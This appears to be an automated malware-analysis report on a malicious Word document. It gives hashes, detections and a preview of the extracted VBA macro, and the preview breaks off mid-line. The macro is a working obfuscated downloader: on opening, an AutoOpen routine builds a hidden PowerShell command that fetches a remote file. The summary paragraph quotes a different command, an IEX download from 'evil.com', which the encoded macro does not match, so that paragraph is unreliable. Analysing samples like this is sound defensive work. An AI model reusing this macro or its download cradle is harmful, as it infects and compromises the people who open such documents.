Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45797059a9a09a72…

MALICIOUS

Office (OLE)

79.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 36bab0cdf908ed0ea9121bcaf9e4d16f SHA-1: 5befb1438af5a4df786df08b09958401201369be SHA-256: 45797059a9a09a7278c6e2d003ba6f1ee13e1126943cb9dae315ce93908a20f9
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macro utilizes the Shell() function to execute a PowerShell command. This command is designed to download and execute a second-stage payload from a remote URL, indicating a downloader or droppper functionality. The specific PowerShell command constructed is: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload')".

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11433 bytes
SHA-256: 2f50f3a4b811986875d43d65a9bf0bbd250773849321ce96a40f398c107243b4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
Dim JyjECigytYTuIJiSoDUdyGowONIpiqusiLOfaKEBoKOi


Choose 1, "NEworUDABolYjolopeFi", LTrim("JyjECigytYTuIJiSoDUdyGowONIpiqusiLOfaKEBoKOi"), "NEworUDABolYjolopeFiJyjECigytYTuIJiSoDUdyGowONIpiqusiLOfaKEBoKOi"
IsError CVErr(6533)
Call IsNumeric(6533 - NEworUDABolYjolopeFi)

If LenB(NEworUDABolYjolopeFi11) > CInt(Hex(6533)) Then
   StrComp "NEworUDABolYjolopeFi", "NEworUDABolYjolopeFi" & JyjECigytYTuIJiSoDUdyGowONIpiqusiLOfaKEBoKOi
End If
Dim BiVIDyDluuWixOTapAranEcoxUocYJEre


Choose 4, "neeZymenAcuqOW", LTrim("BiVIDyDluuWixOTapAranEcoxUocYJEre"), "neeZymenAcuqOWBiVIDyDluuWixOTapAranEcoxUocYJEre"
IsError CVErr(504)
Call IsNumeric(504 - neeZymenAcuqOW)

If LenB(neeZymenAcuqOW11) > CInt(Hex(504)) Then
   StrComp "neeZymenAcuqOW", "neeZymenAcuqOW" & BiVIDyDluuWixOTapAranEcoxUocYJEre
End If
vYksryCaDEWaxaSyQLUloNIzeJudafEmebEbeguS = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6"
Dim GYwfuXEXEBOPuBusAKyZOQejOgEdIBiPuvYl


Choose 7, "kUHePupEJDyiYpINi", LTrim("GYwfuXEXEBOPuBusAKyZOQejOgEdIBiPuvYl"), "kUHePupEJDyiYpINiGYwfuXEXEBOPuBusAKyZOQejOgEdIBiPuvYl"
IsError CVErr(632)
Call IsNumeric(632 - kUHePupEJDyiYpINi)

If LenB(kUHePupEJDyiYpINi11) > CInt(Hex(632)) Then
   StrComp "kUHePupEJDyiYpINi", "kUHePupEJDyiYpINi" & GYwfuXEXEBOPuBusAKyZOQejOgEdIBiPuvYl
End If
Dim COzaPEQATIhoxjUZreVurzAgHbirEInYwYm


Choose 5, "dUQSijeZadytyvoza", LTrim("COzaPEQATIhoxjUZreVurzAgHbirEInYwYm"), "dUQSijeZadytyvozaCOzaPEQATIhoxjUZreVurzAgHbirEInYwYm"
IsError CVErr(5034)
Call IsNumeric(5034 - dUQSijeZadytyvoza)

If LenB(dUQSijeZadytyvoza13) > CInt(Hex(5034)) Then
   StrComp "dUQSijeZadytyvoza", "dUQSijeZadytyvoza" & COzaPEQATIhoxjUZreVurzAgHbirEInYwYm
End If

fIUKYfUTewoDuZyZEBAZeZAcySuJifOlYwiTAM = "^A^C^8^A^L^w^B^3^A^G^U^A^Y^Q^B^t^A^G^8^A^" + ChrW((12.5 * 8) - 1) + "^w^B^p^A^G^M^A^Y^Q^B^k^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^E^A^d^A^B^y^A^G^k^A^N^g^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A"
Dim ZuPEpILUrYwIjiKwEcAxovowEKuNyNjEla


Choose 10, "poEzyJUDuFAdA", LTrim("ZuPEpILUrYwIjiKwEcAxovowEKuNyNjEla"), "poEzyJUDuFAdAZuPEpILUrYwIjiKwEcAxovowEKuNyNjEla"
IsError CVErr(4617)
Call IsNumeric(4617 - poEzyJUDuFAdA)

If LenB(poEzyJUDuFAdA13) > CInt(Hex(4617)) Then
   StrComp "poEzyJUDuFAdA", "poEzyJUDuFAdA" & ZuPEpILUrYwIjiKwEcAxovowEKuNyNjEla
End If
Dim hENocenUtUrimXIGEWyxyQAVAriTOFOfEM


Choose 6, "MIiOWOdAXCyXyQoV", LTrim("hENocenUtUrimXIGEWyxyQAVAriTOFOfEM"), "MIiOWOdAXCyXyQoVhENocenUtUrimXIGEWyxyQAVAriTOFOfEM"
IsError CVErr(6375)
Call IsNumeric(6375 - MIiOWOdAXCyXyQoV)

If LenB(MIiOWOdAXCyXyQoV11) > CInt(Hex(6375)) Then
   StrComp "MIiOWOdAXCyXyQoV", "MIiOWOdAXCyXyQoV" & hENocenUtUrimXIGEWyxyQAVAriTOFOfEM
End If

Dim xuSODERgAtefNyNOJEXSOTUdEDIwuLyzOV


Choose 6, "diroHOqIxYaAQIp", LTrim("xuSODERgAtefNyNOJEXSOTUdEDIwuLyzOV"), "diroHOqIxYaAQIpxuSODERgAtefNyNOJEXSOTUdEDIwuLyzOV"
IsError CVErr(9303)
Call IsNumeric(9303 - diroHOqIxYaAQIp
... (truncated)